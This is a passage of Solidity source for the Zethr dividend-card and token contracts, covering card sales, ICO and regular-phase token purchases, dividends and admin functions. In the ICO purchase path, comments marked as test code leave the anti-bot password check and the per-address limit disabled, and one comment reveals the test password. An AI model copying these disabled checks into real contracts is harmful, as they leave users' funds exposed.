address indexed approved, uint tokenId); } // File: contracts/Libraries/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. assembly { size := extcodesize(addr) } // solium-disable-line security/no-inline-assembly return size > 0; } } // File: contracts/Games/ZethrDividendCards.sol contract ZethrDividendCards is ERC721Interface { using SafeMath for uint; /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new dividend card comes into existence. event Birth(uint tokenId, string name, address owner); /// @dev The TokenSold event is fired whenever a token (dividend card, in this case) is sold. event TokenSold(uint tokenId, uint oldPrice, uint newPrice, address prevOwner, address winner, string name); /// @dev Transfer event as defined in current draft of ERC721. /// Ownership is assigned, including births. event Transfer(address from, address to, uint tokenId); // Events for calculating card profits / errors event BankrollDivCardProfit(uint bankrollProfit, uint percentIncrease, address oldOwner); event BankrollProfitFailure(uint bankrollProfit, uint percentIncrease, address oldOwner); event UserDivCardProfit(uint divCardProfit, uint percentIncrease, address oldOwner); event DivCardProfitFailure(uint divCardProfit, uint percentIncrease, address oldOwner); event masterCardProfit(uint toMaster, address _masterAddress, uint _divCardId); event masterCardProfitFailure(uint toMaster, address _masterAddress, uint _divCardId); event regularCardProfit(uint toRegular, address _regularAddress, uint _divCardId); event regularCardProfitFailure(uint toRegular, address _regularAddress, uint _divCardId); /*** CONSTANTS ***/ /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant NAME = "ZethrDividendCard"; string public constant SYMBOL = "ZDC"; address public BANKROLL; /*** STORAGE ***/ /// @dev A mapping from dividend card indices to the address that owns them. /// All dividend cards have a valid owner address. mapping (uint => address) public divCardIndexToOwner; // A mapping from a dividend rate to the card index. mapping (uint => uint) public divCardRateToIndex; // @dev A mapping from owner address to the number of dividend cards that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint) private ownershipDivCardCount; /// @dev A mapping from dividend card indices to an address that has been approved to call /// transferFrom(). Each dividend card can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint => address) public divCardIndexToApproved; // @dev A mapping from dividend card indices to the price of the dividend card. mapping (uint => uint) private divCardIndexToPrice; mapping (address => bool) internal administrators; address public creator; bool public onSale; /*** DATATYPES ***/ struct Card { string name; uint percentIncrease; } Card[] private divCards; modifier onlyCreator() { require(msg.sender == creator); _; } constructor (address _bankroll) public { creator = msg.sender; BANKROLL = _bankroll; createDivCard("2%", 1 ether, 2); divCardRateToIndex[2] = 0; createDivCard("5%", 1 ether, 5); divCardRateToIndex[5] = 1; createDivCard("10%", 1 ether, 10); divCardRateToIndex[10] = 2; createDivCard("15%", 1 ether, 15); divCardRateToIndex[15] = 3; createDivCard("20%", 1 ether, 20); divCardRateToIndex[20] = 4; createDivCard("25%", 1 ether, 25); divCardRateToIndex[25] = 5; createDivCard("33%", 1 ether, 33); divCardRateToIndex[33] = 6; createDivCard("MASTER", 5 ether, 10); divCardRateToIndex[999] = 7; onSale = true; administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true; // Norsefire administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true; // klob administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true; // Etherguy administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true; // blurr administrators[msg.sender] = true; // Helps with debugging } /*** MODIFIERS ***/ // Modifier to prevent contracts from interacting with the flip cards modifier isNotContract() { require (msg.sender == tx.origin); _; } // Modifier to prevent purchases before we open them up to everyone modifier hasStarted() { require (onSale == true); _; } modifier isAdmin() { require(administrators[msg.sender]); _; } /*** PUBLIC FUNCTIONS ***/ // Administrative update of the bankroll contract address function setBankroll(address where) public isAdmin { BANKROLL = where; } /// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom(). /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve(address _to, uint _tokenId) public isNotContract { // Caller must own token. require(_owns(msg.sender, _tokenId)); divCardIndexToApproved[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); } /// For querying balance of a particular account /// @param _owner The address for balance query /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) public view returns (uint balance) { return ownershipDivCardCount[_owner]; } // Creates a div card with bankroll as the owner function createDivCard(string _name, uint _price, uint _percentIncrease) public onlyCreator { _createDivCard(_name, BANKROLL, _price, _percentIncrease); } // Opens the dividend cards up for sale. function startCardSale() public isAdmin { onSale = true; } /// @notice Returns all the relevant information about a specific div card /// @param _divCardId The tokenId of the div card of interest. function getDivCard(uint _divCardId) public view returns (string divCardName, uint sellingPrice, address owner) { Card storage divCard = divCards[_divCardId]; divCardName = divCard.name; sellingPrice = divCardIndexToPrice[_divCardId]; owner = divCardIndexToOwner[_divCardId]; } function implementsERC721() public pure returns (bool) { return true; } /// @dev Required for ERC-721 compliance. function name() public pure returns (string) { return NAME; } /// For querying owner of token /// @param _divCardId The tokenID for owner inquiry /// @dev Required for ERC-721 compliance. function ownerOf(uint _divCardId) public view returns (address owner) { owner = divCardIndexToOwner[_divCardId]; require(owner != address(0)); return owner; } // Allows someone to send Ether and obtain a card function purchase(uint _divCardId) public payable hasStarted isNotContract { address oldOwner = divCardIndexToOwner[_divCardId]; address newOwner = msg.sender; // Get the current price of the card uint currentPrice = divCardIndexToPrice[_divCardId]; // Making sure token owner is not sending to self require(oldOwner != newOwner); // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure sent amount is greater than or equal to the sellingPrice require(msg.value >= currentPrice); // To find the total profit, we need to know the previous price // currentPrice = previousPrice * (100 + percentIncrease); // previousPrice = currentPrice / (100 + percentIncrease); uint percentIncrease = divCards[_divCardId].percentIncrease; uint previousPrice = SafeMath.mul(currentPrice, 100).div(100 + percentIncrease); // Calculate total profit and allocate 50% to old owner, 50% to bankroll uint totalProfit = SafeMath.sub(currentPrice, previousPrice); uint oldOwnerProfit = SafeMath.div(totalProfit, 2); uint bankrollProfit = SafeMath.sub(totalProfit, oldOwnerProfit); oldOwnerProfit = SafeMath.add(oldOwnerProfit, previousPrice); // Refund the sender the excess he sent uint purchaseExcess = SafeMath.sub(msg.value, currentPrice); // Raise the price by the percentage specified by the card divCardIndexToPrice[_divCardId] = SafeMath.div(SafeMath.mul(currentPrice, (100 + percentIncrease)), 100); // Transfer ownership _transfer(oldOwner, newOwner, _divCardId); // Using send rather than transfer to prevent contract exploitability. if(BANKROLL.send(bankrollProfit)) { emit BankrollDivCardProfit(bankrollProfit, percentIncrease, oldOwner); } else { emit BankrollProfitFailure(bankrollProfit, percentIncrease, oldOwner); } if(oldOwner.send(oldOwnerProfit)) { emit UserDivCardProfit(oldOwnerProfit, percentIncrease, oldOwner); } else { emit DivCardProfitFailure(oldOwnerProfit, percentIncrease, oldOwner); } msg.sender.transfer(purchaseExcess); } function priceOf(uint _divCardId) public view returns (uint price) { return divCardIndexToPrice[_divCardId]; } function setCreator(address _creator) public onlyCreator { require(_creator != address(0)); creator = _creator; } /// @dev Required for ERC-721 compliance. function symbol() public pure returns (string) { return SYMBOL; } /// @notice Allow pre-approved user to take ownership of a dividend card. /// @param _divCardId The ID of the card that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function takeOwnership(uint _divCardId) public isNotContract { address newOwner = msg.sender; address oldOwner = divCardIndexToOwner[_divCardId]; // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure transfer is approved require(_approved(newOwner, _divCardId)); _transfer(oldOwner, newOwner, _divCardId); } /// For querying totalSupply of token /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint total) { return divCards.length; } /// Owner initates the transfer of the card to another account /// @param _to The address for the card to be transferred to. /// @param _divCardId The ID of the card that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint _divCardId) public isNotContract { require(_owns(msg.sender, _divCardId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _divCardId); } /// Third-party initiates transfer of a card from address _from to address _to /// @param _from The address for the card to be transferred from. /// @param _to The address for the card to be transferred to. /// @param _divCardId The ID of the card that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transferFrom(address _from, address _to, uint _divCardId) public isNotContract { require(_owns(_from, _divCardId)); require(_approved(_to, _divCardId)); require(_addressNotNull(_to)); _transfer(_from, _to, _divCardId); } function receiveDividends(uint _divCardRate) public payable { uint _divCardId = divCardRateToIndex[_divCardRate]; address _regularAddress = divCardIndexToOwner[_divCardId]; address _masterAddress = divCardIndexToOwner[7]; uint toMaster = msg.value.div(2); uint toRegular = msg.value.sub(toMaster); if(_masterAddress.send(toMaster)){ emit masterCardProfit(toMaster, _masterAddress, _divCardId); } else { emit masterCardProfitFailure(toMaster, _masterAddress, _divCardId); } if(_regularAddress.send(toRegular)) { emit regularCardProfit(toRegular, _regularAddress, _divCardId); } else { emit regularCardProfitFailure(toRegular, _regularAddress, _divCardId); } } /*** PRIVATE FUNCTIONS ***/ /// Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } /// For checking approval of transfer for address _to function _approved(address _to, uint _divCardId) private view returns (bool) { return divCardIndexToApproved[_divCardId] == _to; } /// For creating a dividend card function _createDivCard(string _name, address _owner, uint _price, uint _percentIncrease) private { Card memory _divcard = Card({ name: _name, percentIncrease: _percentIncrease }); uint newCardId = divCards.push(_divcard) - 1; // It's probably never going to happen, 4 billion tokens are A LOT, but // let's just be 100% sure we never let this happen. require(newCardId == uint(uint32(newCardId))); emit Birth(newCardId, _name, _owner); divCardIndexToPrice[newCardId] = _price; // This will assign ownership, and also emit the Transfer event as per ERC721 draft _transfer(BANKROLL, _owner, newCardId); } /// Check for token ownership function _owns(address claimant, uint _divCardId) private view returns (bool) { return claimant == divCardIndexToOwner[_divCardId]; } /// @dev Assigns ownership of a specific Card to an address. function _transfer(address _from, address _to, uint _divCardId) private { // Since the number of cards is capped to 2^32 we can't overflow this ownershipDivCardCount[_to]++; //transfer ownership divCardIndexToOwner[_divCardId] = _to; // When creating new div cards _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipDivCardCount[_from]--; // clear any previously approved ownership exchange delete divCardIndexToApproved[_divCardId]; } // Emit the transfer event. emit Transfer(_from, _to, _divCardId); } } // File: contracts/Zethr.sol contract Zethr { using SafeMath for uint; /*================================= = MODIFIERS = =================================*/ modifier onlyHolders() { require(myFrontEndTokens() > 0); _; } modifier dividendHolder() { require(myDividends(true) > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint incomingEthereum, uint tokensMinted, address indexed referredBy ); event UserDividendRate( address user, uint divRate ); event onTokenSell( address indexed customerAddress, uint tokensBurned, uint ethereumEarned ); event onReinvestment( address indexed customerAddress, uint ethereumReinvested, uint tokensMinted ); event onWithdraw( address indexed customerAddress, uint ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint tokens ); event Approval( address indexed tokenOwner, address indexed spender, uint tokens ); event Allocation( uint toBankRoll, uint toReferrer, uint toTokenHolders, uint toDivCardHolders, uint forTokens ); event Referral( address referrer, uint amountReceived ); /*===================================== = CONSTANTS = =====================================*/ uint8 constant public decimals = 18; uint constant internal tokenPriceInitial_ = 0.000653 ether; uint constant internal magnitude = 2 ** 64; uint constant internal icoHardCap = 250 ether; uint constant internal addressICOLimit = 1 ether; uint constant internal icoMinBuyIn = 0.1 finney; uint constant internal icoMaxGasPrice = 50000000000 wei; uint constant internal MULTIPLIER = 9615; uint constant internal MIN_ETH_BUYIN = 0.0001 ether; uint constant internal MIN_TOKEN_SELL_AMOUNT = 0.0001 ether; uint constant internal MIN_TOKEN_TRANSFER = 1e10; uint constant internal referrer_percentage = 25; uint public stakingRequirement = 100e18; /*================================ = CONFIGURABLES = ================================*/ string public name = "Zethr"; string public symbol = "ZTH"; //bytes32 constant public icoHashedPass = bytes32(0x5ddcde33b94b19bdef79dd9ea75be591942b9ec78286d64b44a356280fb6a262); // public bytes32 constant public icoHashedPass = bytes32(0x8a6ddee3fb2508ff4a5b02b48e9bc4566d0f3e11f306b0f75341bf235662a9e3); // test hunter2 address internal bankrollAddress; ZethrDividendCards divCardContract; /*================================ = DATASETS = ================================*/ // Tracks front & backend tokens mapping(address => uint) internal frontTokenBalanceLedger_; mapping(address => uint) internal dividendTokenBalanceLedger_; mapping(address => mapping(address => uint)) public allowed; // Tracks dividend rates for users mapping(uint8 => bool) internal validDividendRates_; mapping(address => bool) internal userSelectedRate; mapping(address => uint8) internal userDividendRate; // Payout tracking mapping(address => uint) internal referralBalance_; mapping(address => int256) internal payoutsTo_; // ICO per-address limit tracking mapping(address => uint) internal ICOBuyIn; uint public tokensMintedDuringICO; uint public ethInvestedDuringICO; uint public currentEthInvested; uint internal tokenSupply = 0; uint internal divTokenSupply = 0; uint internal profitPerDivToken; mapping(address => bool) public administrators; bool public icoPhase = false; bool public regularPhase = false; uint icoOpenTime; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ constructor (address _bankrollAddress, address _divCardAddress) public { bankrollAddress = _bankrollAddress; divCardContract = ZethrDividendCards(_divCardAddress); administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true; // Norsefire administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true; // klob administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true; // Etherguy administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true; // blurr administrators[0x8537aa2911b193e5B377938A723D805bb0865670] = true; // oguzhanox administrators[0x9D221b2100CbE5F05a0d2048E2556a6Df6f9a6C3] = true; // Randall administrators[0xDa83156106c4dba7A26E9bF2Ca91E273350aa551] = true; // TropicalRogue administrators[0x71009e9E4e5e68e77ECc7ef2f2E95cbD98c6E696] = true; // cryptodude administrators[msg.sender] = true; // Helps with debugging! validDividendRates_[2] = true; validDividendRates_[5] = true; validDividendRates_[10] = true; validDividendRates_[15] = true; validDividendRates_[20] = true; validDividendRates_[25] = true; validDividendRates_[33] = true; userSelectedRate[bankrollAddress] = true; userDividendRate[bankrollAddress] = 33; } /** * Same as buy, but explicitly sets your dividend percentage. * If this has been called before, it will update your `default' dividend * percentage for regular buy transactions going forward. */ function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string /*providedUnhashedPass*/) public payable returns (uint) { require(icoPhase || regularPhase); if (icoPhase) { // Anti-bot measures - not perfect, but should help some. // bytes32 hashedProvidedPass = keccak256(providedUnhashedPass); //require(hashedProvidedPass == icoHashedPass || msg.sender == bankrollAddress); // test; remove uint gasPrice = tx.gasprice; // Prevents ICO buyers from getting substantially burned if the ICO is reached // before their transaction is processed. require(gasPrice <= icoMaxGasPrice && ethInvestedDuringICO <= icoHardCap); } // Dividend percentage should be a currently accepted value. require(validDividendRates_[_divChoice]); // Set the dividend fee percentage denominator. userSelectedRate[msg.sender] = true; userDividendRate[msg.sender] = _divChoice; emit UserDividendRate(msg.sender, _divChoice); // Finally, purchase tokens. purchaseTokens(msg.value, _referredBy); } // All buys except for the above one require regular phase. function buy(address _referredBy) public payable returns (uint) { require(regularPhase); address _customerAddress = msg.sender; require(userSelectedRate[_customerAddress]); purchaseTokens(msg.value, _referredBy); } function buyAndTransfer(address _referredBy, address target) public payable { bytes memory empty; buyAndTransfer(_referredBy, target, empty, 20); } function buyAndTransfer(address _referredBy, address target, bytes _data) public payable { buyAndTransfer(_referredBy, target, _data, 20); } // Overload function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice) public payable { require(regularPhase); address _customerAddress = msg.sender; uint256 frontendBalance = frontTokenBalanceLedger_[msg.sender]; if (userSelectedRate[_customerAddress] && divChoice == 0) { purchaseTokens(msg.value, _referredBy); } else { buyAndSetDivPercentage(_referredBy, divChoice, "0x0"); } uint256 difference = SafeMath.sub(frontTokenBalanceLedger_[msg.sender], frontendBalance); transferTo(msg.sender, target, difference, _data); } // Fallback function only works during regular phase - part of anti-bot protection. function() payable public { /** / If the user has previously set a dividend rate, sending / Ether directly to the contract simply purchases more at / the most recent rate. If this is their first time, they / are automatically placed into the 20% rate `bucket'. **/ require(regularPhase); address _customerAddress = msg.sender; if (userSelectedRate[_customerAddress]) { purchaseTokens(msg.value, 0x0); } else { buyAndSetDivPercentage(0x0, 20, "0x0"); } } function reinvest() dividendHolder() public { require(regularPhase); uint _dividends = myDividends(false); // Pay out requisite `virtual' dividends. address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint _tokens = purchaseTokens(_dividends, 0x0); // Fire logging event. emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { require(regularPhase); // Retrieve token balance for caller, then sell them all. address _customerAddress = msg.sender; uint _tokens = frontTokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(_customerAddress); } function withdraw(address _recipient) dividendHolder() public { require(regularPhase); // Setup data address _customerAddress = msg.sender; uint _dividends = myDividends(false); // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; if (_recipient == address(0x0)) { _recipient = msg.sender; } _recipient.transfer(_dividends); // Fire logging event. emit onWithdraw(_recipient, _dividends); } // Sells front-end tokens. // Logic concerning step-pricing of tokens pre/post-ICO is encapsulated in tokensToEthereum_. function sell(uint _amountOfTokens) onlyHolders() public { // No selling during the ICO. You don't get to flip that fast, sorry! require(!icoPhase); require(regularPhase); require(_amountOfTokens <= frontTokenBalanceLedger_[msg.sender]); uint _frontEndTokensToBurn = _amountOfTokens; // Calculate how many dividend tokens this action burns. // Computed as the caller's average dividend rate multiplied by the number of front-end tokens held. // As an additional guard, we ensure that the dividend rate is between 2 and 50 inclusive. uint userDivRate = getUserAverageDividendRate(msg.sender); require((2 * magnitude) <= userDivRate && (50 * magnitude) >= userDivRate); uint _divTokensToBurn = (_frontEndTokensToBurn.mul(userDivRate)).div(magnitude); // Calculate ethereum received before dividends uint _ethereum = tokensToEthereum_(_frontEndTokensToBurn); if (_ethereum > currentEthInvested) { // Well, congratulations, you've emptied the coffers. currentEthInvested = 0; } else {currentEthInvested = currentEthInvested - _ethereum;} // Calculate dividends generated from the sale. uint _dividends = (_ethereum.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude); // Calculate Ethereum receivable net of dividends. uint _taxedEthereum = _ethereum.sub(_dividends); // Burn the sold tokens (both front-end and back-end variants). tokenSupply = tokenSupply.sub(_frontEndTokensToBurn); divTokenSupply = divTokenSupply.sub(_divTokensToBurn); // Subtract the token balances for the seller frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].sub(_frontEndTokensToBurn); dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].sub(_divTokensToBurn); // Update dividends tracker int256 _updatedPayouts = (int256) (profitPerDivToken * _divTokensToBurn + (_taxedEthereum * magnitude)); payoutsTo_[msg.sender] -= _updatedPayouts; // Let's avoid breaking arithmetic where we can, eh? if (divTokenSupply > 0) { // Update the value of each remaining back-end dividend token. profitPerDivToken = profitPerDivToken.add((_dividends * magnitude) / divTokenSupply); } // Fire logging event. emit onTokenSell(msg.sender, _frontEndTokensToBurn, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * No charge incurred for the transfer. We'd make a terrible bank. */ function transfer(address _toAddress, uint _amountOfTokens) onlyHolders() public returns (bool) { require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[msg.sender]); bytes memory empty; transferFromInternal(msg.sender, _toAddress, _amountOfTokens, empty); return true; } function approve(address spender, uint tokens) public returns (bool) { address _customerAddress = msg.sender; allowed[_customerAddress][spender] = tokens; // Fire logging event. emit Approval(_customerAddress, spender, tokens); // Good old ERC20. return true; } /** * Transfer tokens from the caller to a new holder: the Used By Smart Contracts edition. * No charge incurred for the transfer. No seriously, we'd make a terrible bank. */ function transferFrom(address _from, address _toAddress, uint _amountOfTokens) public returns (bool) { // Setup variables address _customerAddress = _from; bytes memory empty; // Make sure we own the tokens we're transferring, are ALLOWED to transfer that many tokens, // and are transferring at least one full token. require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[_customerAddress] && _amountOfTokens <= allowed[_customerAddress][msg.sender]); transferFromInternal(_from, _toAddress, _amountOfTokens, empty); // Good old ERC20. return true; } function transferTo(address _from, address _to, uint _amountOfTokens, bytes _data) public { if (_from != msg.sender) { require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[_from] && _amountOfTokens <= allowed[_from][msg.sender]); } else { require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[_from]); } transferFromInternal(_from, _to, _amountOfTokens, _data); } // Who'd have thought we'd need this thing floating around? function totalSupply() public view returns (uint256) { return tokenSupply; } // Anyone can start the regular phase 2 weeks after the ICO phase starts. // In case the devs die. Or something. function publicStartRegularPhase() public { require(now > (icoOpenTime + 2 weeks) && icoOpenTime != 0); icoPhase = false; regularPhase = true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ // Fire the starting gun and then duck for cover. function startICOPhase() onlyAdministrator() public { // Prevent us from startaring the ICO phase again require(icoOpenTime == 0); icoPhase = true; icoOpenTime = now; } // Fire the ... ending gun? function endICOPhase() onlyAdministrator() public { icoPhase = false; } function startRegularPhase() onlyAdministrator public { // disable ico phase in case if that was not disabled yet icoPhase = false; regularPhase = true; } // The death of a great man demands the birth of a great son. function setAdministrator(address _newAdmin, bool _status) onlyAdministrator() public { administrators[_newAdmin] = _status; } function setStakingRequirement(uint _amountOfTokens) onlyAdministrator() public { // This plane only goes one way, lads. Never below the initial. require(_amountOfTokens >= 100e18); stakingRequirement = _amountOfTokens; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function changeBankroll(address _newBankrollAddress) onlyAdministrator public { bankrollAddress = _newBankrollAddress; } /*---------- HELPERS AND CALCULATORS ----------*/ function totalEthereumBalance() public view returns (uint) { return address(this).balance; } function totalEthereumICOReceived() public view returns (uint) { return ethInvestedDuringICO; } /** * Retrieves your currently selected dividend rate. */ function getMyDividendRate() public view returns (uint8) { address _customerAddress = msg.sender; require(userSelectedRate[_customerAddress]); return userDividendRate[_customerAddress]; } /** * Retrieve the total frontend token supply */ function getFrontEndTokenSupply() public view returns (uint) { return tokenSupply; } /** * Retreive the total dividend token supply */ function getDividendTokenSupply() public view returns (uint) { return divTokenSupply; } /** * Retrieve the frontend tokens owned by the caller */ function myFrontEndTokens() public view returns (uint) { address _customerAddress = msg.sender; return getFrontEndTokenBalanceOf(_customerAddress); } /** * Retrieve the dividend tokens owned by the caller */ function myDividendTokens() public view returns (uint) { address _customerAddress = msg.sender; return getDividendTokenBalanceOf(_customerAddress); } function myReferralDividends() public view returns (uint) { return myDividends(true) - myDividends(false); } function myDividends(bool _includeReferralBonus) public view returns (uint) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress); } function theDividendsOf(bool _includeReferralBonus, address _customerAddress) public view returns (uint) { return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress); } function getFrontEndTokenBalanceOf(address _customerAddress) view public returns (uint) { return frontTokenBalanceLedger_[_customerAddress]; } function balanceOf(address _owner) view public returns (uint) { return getFrontEndTokenBalanceOf(_owner); } function getDividendTokenBalanceOf(address _customerAddress) view public returns (uint) { return dividendTokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns (uint) { return (uint) ((int256)(profitPerDivToken * dividendTokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } // Get the sell price at the user's average dividend rate function sellPrice() public view returns (uint) { uint price; if (icoPhase || currentEthInvested < ethInvestedDuringICO) { price = tokenPriceInitial_; } else { // Calculate the tokens received for 100 finney. // Divide to find the average, to calculate the price. uint tokensReceivedForEth = ethereumToTokens_(0.001 ether); price = (1e18 * 0.001 ether) / tokensReceivedForEth; } // Factor in the user's average dividend rate uint theSellPrice = price.sub((price.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude)); return theSellPrice; } // Get the buy price at a particular dividend rate function buyPrice(uint dividendRate) public view returns (uint) { uint price; if (icoPhase || currentEthInvested < ethInvestedDuringICO) { price = tokenPriceInitial_; } else { // Calculate the tokens received for 100 finney. // Divide to find the average, to calculate the price. uint tokensReceivedForEth = ethereumToTokens_(0.001 ether); price = (1e18 * 0.001 ether) / tokensReceivedForEth; } // Factor in the user's selected dividend rate uint theBuyPrice = (price.mul(dividendRate).div(100)).add(price); return theBuyPrice; } function calculateTokensReceived(uint _ethereumToSpend) public view returns (uint) { uint _dividends = (_ethereumToSpend.mul(userDividendRate[msg.sender])).div(100); uint _taxedEthereum = _ethereumToSpend.sub(_dividends); uint _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } // When selling tokens, we need to calculate the user's current dividend rate. // This is different from their selected dividend rate. function calculateEthereumReceived(uint _tokensToSell) public view returns (uint) { require(_tokensToSell <= tokenSupply); uint _ethereum = tokensToEthereum_(_tokensToSell); uint userAverageDividendRate = getUserAverageDividendRate(msg.sender); uint _dividends = (_ethereum.mul(userAverageDividendRate).div(100)).div(magnitude); uint _taxedEthereum = _ethereum.sub(_dividends); return _taxedEthereum; } /* * Get's a user's average dividend rate - which is just their divTokenBalance / tokenBalance * We multiply by magnitude to avoid precision errors. */ function getUserAverageDividendRate(address user) public view returns (uint) { return (magnitude * dividendTokenBalanceLedger_[user]).div(frontTokenBalanceLedger_[user]); } function getMyAverageDividendRate() public view returns (uint) { return getUserAverageDividendRate(msg.sender); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /* Purchase tokens with Ether. During ICO phase, dividends should go to the bankroll During normal operation: 0.5% should go to the master dividend card 0.5% should go to the matching dividend card 25% of dividends should go to the referrer, if any is provided. */ function purchaseTokens(uint _incomingEthereum, address _referredBy) internal returns (uint) { require(_incomingEthereum >= MIN_ETH_BUYIN || msg.sender == bankrollAddress, "Tried to buy below the min eth buyin threshold."); uint toBankRoll; uint toReferrer; uint toTokenHolders; uint toDivCardHolders; uint dividendAmount; uint tokensBought; uint dividendTokensBought; uint remainingEth = _incomingEthereum; uint fee; // 1% for dividend card holders is taken off before anything else if (regularPhase) { toDivCardHolders = _incomingEthereum.div(100); remainingEth = remainingEth.sub(toDivCardHolders); } /* Next, we tax for dividends: Dividends = (ethereum * div%) / 100 Important note: if we're out of the ICO phase, the 1% sent to div-card holders is handled prior to any dividend taxes are considered. */ // Grab the user's dividend rate uint dividendRate = userDividendRate[msg.sender]; // Calculate the total dividends on this buy dividendAmount = (remainingEth.mul(dividendRate)).div(100); remainingEth = remainingEth.sub(dividendAmount); // If we're in the ICO and bankroll is buying, don't tax if (icoPhase && msg.sender == bankrollAddress) { remainingEth = remainingEth + dividendAmount; } // Calculate how many tokens to buy: tokensBought = ethereumToTokens_(remainingEth); dividendTokensBought = tokensBought.mul(dividendRate); // This is where we actually mint tokens: tokenSupply = tokenSupply.add(tokensBought); divTokenSupply = divTokenSupply.add(dividendTokensBought); /* Update the total investment tracker Note that this must be done AFTER we calculate how many tokens are bought - because ethereumToTokens needs to know the amount *before* investment, not *after* investment. */ currentEthInvested = currentEthInvested + remainingEth; // If ICO phase, all the dividends go to the bankroll if (icoPhase) { toBankRoll = dividendAmount; // If the bankroll is buying, we don't want to send eth back to the bankroll // Instead, let's just give it the tokens it would get in an infinite recursive buy if (msg.sender == bankrollAddress) { toBankRoll = 0; } toReferrer = 0; toTokenHolders = 0; /* ethInvestedDuringICO tracks how much Ether goes straight to tokens, not how much Ether we get total. this is so that our calculation using "investment" is accurate. */ ethInvestedDuringICO = ethInvestedDuringICO + remainingEth; tokensMintedDuringICO = tokensMintedDuringICO + tokensBought; // Cannot purchase more than the hard cap during ICO. require(ethInvestedDuringICO <= icoHardCap); // Contracts aren't allowed to participate in the ICO. require(tx.origin == msg.sender || msg.sender == bankrollAddress); // Cannot purchase more then the limit per address during the ICO. ICOBuyIn[msg.sender] += remainingEth; //require(ICOBuyIn[msg.sender] <= addressICOLimit || msg.sender == bankrollAddress); // test:remove // Stop the ICO phase if we reach the hard cap if (ethInvestedDuringICO == icoHardCap) { icoPhase = false; } } else { // Not ICO phase, check for referrals // 25% goes to referrers, if set // toReferrer = (dividends * 25)/100 if (_referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != msg.sender && frontTokenBalanceLedger_[_referredBy] >= stakingRequirement) { toReferrer = (dividendAmount.mul(referrer_percentage)).div(100); referralBalance_[_referredBy] += toReferrer; emit Referral(_referredBy, toReferrer); } // The rest of the dividends go to token holders toTokenHolders = dividendAmount.sub(toReferrer); fee = toTokenHolders * magnitude; fee = fee - (fee - (dividendTokensBought * (toTokenHolders * magnitude / (divTokenSupply)))); // Finally, increase the divToken value 